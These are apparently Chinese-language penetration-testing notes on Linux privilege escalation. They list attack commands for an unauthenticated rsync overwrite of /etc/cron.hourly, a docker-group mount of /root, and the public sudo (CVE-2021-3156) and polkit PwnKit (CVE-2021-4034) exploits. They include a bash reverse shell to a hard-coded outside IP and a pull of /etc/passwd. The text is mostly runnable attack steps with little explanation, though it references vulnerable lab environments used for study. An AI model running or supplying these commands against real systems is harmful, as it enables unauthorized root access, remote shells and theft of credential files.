Rsync是linux下一款数据备份工具,默认开启873端口 https://vulhub.org/#/environments/rsync/common/ 借助Linux默认计划任务调用/etc/cron.hourly,利用rsync连接覆盖 前提:没有账号密码验证 开放873端口
-提权过程:
#!/bin/bash
/bin/bash -i >& /dev/tcp/47.94.236.117/3333 0>&i
chmod +x nc
rsync -av nc rsync://47.94.236.117:873/src/etc/cron.hourly
rsync -av rsync://47.94.236.117:873/src/etc/passwd ./
nc -lvnp 3333
条件:普通用户在docker组,利用docker服务启动镜像挂载目录 从而来访问root目录、etc目录等敏感文件来进行权限提升。
-复现:创建用户归类目录,添加到docker组
useradd -d /home/test -m test
passwd test
usermod -G docker test
newgrp docker
-利用:
docker run -v /root:/mnt -it alpine
主要的作用是:从Docker上面下载alpine镜像,然后运行; -v将容器外部的目录/root(其他目录也可以) 挂载到容器内部/mnt,使用-it参数进入容器shell。
补充:拿到普通用户权限后,并且该用户在docker中,意思就是可以控制docker服务 管理员将真实物理机/root目录挂载到容器内部/mnt中,-it参数进入容器shell,
-判断: sudo: 1.8.2 - 1.8.31p2 sudo: 1.9.0 - 1.9.5p1 sudoedit -s / 报错 则存在
未报错,漏洞不存在:
-利用:普通本地用户权限
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
chmod a+x sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich 1
漏洞影响2009年5月至今的所有polkit版本
由于polkit是系统预装工具,所有存在polkit的linux系统均受影响
如:CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等
-判断:dpkg -l policykit-1
-利用:
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034/
make
./cve-2021-4034